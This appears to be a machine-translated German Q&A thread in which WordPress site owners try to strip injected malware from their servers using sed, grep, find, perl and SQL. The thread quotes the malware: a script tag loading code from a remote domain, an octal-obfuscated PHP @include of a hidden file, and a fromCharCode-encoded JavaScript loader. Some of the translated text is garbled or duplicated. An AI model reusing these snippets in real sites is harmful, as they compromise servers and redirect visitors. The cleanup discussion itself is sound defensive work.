bash - Wie man die ganze Saite mit sed oder evtl. grep ersetzt




shell (5)

Also wurde mein ganzer Server gehackt oder bekam das Malware-Problem. Meine Website basiert auf WordPress und die Mehrheit der auf meinem Server gehosteten Websites basiert auf WordPress. Der Hacker fügte diese Codezeile jeder einzelnen Datei und Datenbank hinzu

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Ich habe es mit grep gesucht

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Ich versuche es in der gesamten Dateistruktur durch sed zu ersetzen und habe den folgenden Befehl geschrieben.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Ich versuche zuerst, die Zeichenfolge in einer einzelnen Datei index.php zu ersetzen, damit ich weiß, dass es funktioniert.

und ich weiß, dass mein Code falsch ist. Bitte hilf mir dabei.

Edit: Ich habe es mit dem @ Eran's Code versucht und es hat die ganze Zeile gelöscht, was gut und wie erwartet ist. Dies ist jedoch der gesamte Jargon

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

Und während ich den gesamten Inhalt löschen möchte, möchte ich das PHP-Eröffnungs-Tag <?php behalten.

Die Lösung von @ slybloty ist einfach und hat funktioniert.

So entfernen Sie den Code vollständig aus allen betroffenen Dateien. Ich führe die folgenden 3 Befehle aus. Vielen Dank an euch alle dafür.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Zum Entfernen der Skriptzeile
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - Um die @include Zeile zu entfernen
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Zum Entfernen der Kommentarzeile

Außerdem habe ich alle 3 Befehle für '*.html' , da das Skript des Hackers in allen Verzeichnissen eine unerwünschte index.html erstellt hat. Ich war mir nicht sicher, ob das Löschen dieser index.html in großen Mengen der richtige Ansatz ist.

jetzt muss ich noch die Junk-Dateien und Spuren davon herausfinden.

EDIT 2:

Das Hacker-Skript fügte auch den JS-Code hinzu.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Ich versuche zu sehen, ob ich es auch schaffen kann.


Bei mir hat das geklappt:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Sie müssen suchen nach: * .js, * .json, * .map


Haben Sie das Plugin wp-mail-smtp installiert? Wir haben die gleiche Malware und hatten etwas Seltsames in wp-content/plugins/wp-mail-smtp/src/Debug.php .

Außerdem befindet sich der JavaScript-Link in jedem Feld wp_posts in wp_posts in der WordPress-Datenbank.


Ich habe heute das gleiche bekommen, alle Seitenbeiträge haben dieses böse Virenskript hinzugefügt

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Ich habe es von der Datenbank deaktiviert

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Ich habe zumindest keine infizierten Dateien

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

habe nichts gefunden, aber ich habe keine ahnung wie das in die datenbank gekommen ist aus der ich überhaupt nicht ruhig bin.

Diese Infektion verursachte Weiterleitungen auf Seiten, Chrom erkennt und blockiert diese meist. Hab in - /wp-mail-smtp/src/Debug.php nichts seltsames bemerkt


Unabhängig davon, für welche Methode Sie sich bei sed entscheiden, können Sie mit find und xargs mehrere Prozesse gleichzeitig für mehrere Dateien xargs . Zum Beispiel:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Es wird:

  • find - finden
  • -type f - nur Dateien
  • -name '*.txt' - das endet mit php
  • -print0 - drucke sie durch null Bytes getrennt
  • | xargs -0 | xargs -0 - für jede Datei, die durch null Byte getrennt ist
  • -P7 - 7 Prozesse gleichzeitig ausführen
  • -n1 - für jede einzelne Datei
  • sed - für jede ausgeführte Datei sed
  • -i - Bearbeiten Sie die Datei an Ort und Stelle
  • '...' - das sed-Skript, das Sie aus anderen Antworten ausführen möchten.

Möglicherweise möchten Sie xargs Option -t hinzufügen, um den Fortschritt xargs . Siehe man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


einfache Anführungszeichen werden wörtlich genommen. Es gibt dort keine Fluchtzeichen. Wenn Sie also var='hello\'' , haben Sie ein nicht geschlossenes Zitat. Verwenden Sie doppelte Anführungszeichen, um den sed Befehl zu umgeben, oder Sie müssen die Zeichenfolge in einfachen Anführungszeichen beenden und \' hinzufügen und die Anführungszeichenfolge erneut öffnen ... aber das wird verwirrend. sed kann auch ein beliebiges Trennzeichen zum Trennen von Befehlen verwenden. Da die Befehle Schrägstriche enthalten, ist es einfacher, Kommas oder ähnliches zu verwenden. So können Sie dies tun:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Oder die zweite von mir vorgeschlagene Methode ist etwas verwirrender:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Dieses Beispiel ist eher lehrreich als praktisch. So funktioniert '\'' :

Erste ' : Aktuelle Literalzeichenfolge in Anführungszeichen beenden

\' : Geben Sie ein einfaches Anführungszeichen als Literal ein

Second ' : Geben Sie die Literalzeichenfolge in Anführungszeichen erneut ein

Solange dort keine Leerzeichen vorhanden sind, setzen Sie einfach Ihren sed Befehl fort. Ich bin der Meinung, dass diese Idee sehr einzigartig ist.

Ich lasse die Entflohenen < und > dort, weil ich nicht ganz sicher bin, wofür Sie das verwenden. sed verwendet die sed \< und \> , um die Wortübereinstimmung zu bezeichnen. Ich bin nicht sicher, ob das beabsichtigt ist oder nicht ...

Wenn dies nicht passt, möchten Sie wahrscheinlich vermeiden, das < und > zu entkommen.

Bearbeiten: Bitte siehe @ EranBen-Natans Lösung in den Kommentaren für eine praktischere Lösung des eigentlichen Problems. Meine Antwort ist eher eine Ressource dafür, warum OP mit seinem ursprünglichen Befehl zu mehr Eingaben aufgefordert wurde.

Lösung zum Bearbeiten 2

Damit dies funktioniert, gehe ich davon aus, dass Ihr sed die nicht standardmäßige Option -z . GNU-Version von sed sollte dies haben. Ich gehe auch davon aus, dass dieser Code immer im 6-zeiligen Format erscheint

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

So funktioniert es: Wir verwenden den Anfang der fromCharCode-Zeile, um alles abzugleichen. -z teilt die Datei in Nullen anstatt in neue Zeilen. Auf diese Weise können wir direkt nach Zeilenvorschüben suchen.

[^\n]*\n - Nur bedeutet, dass alles bis zu einem Zeilenvorschub abgeglichen wird und dann der Zeilenvorschub abgeglichen wird. Die Idee dabei ist, gierige Regex-Übereinstimmungen zu vermeiden. Da keine Zeilenumbrüche ( -z ) aufgeteilt werden, entspricht der var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n der größtmöglichen Übereinstimmung. Wenn zum Beispiel \n}\n irgendwo weiter unten in der Datei angezeigt wird, löschen Sie den gesamten Code zwischen dort und dem bösartigen Code. Wenn Sie diese Sequenz also 6 Mal wiederholen, gelangen Sie zum Ende der ersten Zeile sowie zu den nächsten 5 Zeilen.

grep -lr - Nur ein rekursives grep bei dem nur die Dateien grep -lr werden, die das passende Muster haben. Auf diese Weise bearbeitet sed nicht jede Datei. Ohne dies würde -i.bak (nicht plain -i ) ein echtes Durcheinander -i.bak .





grep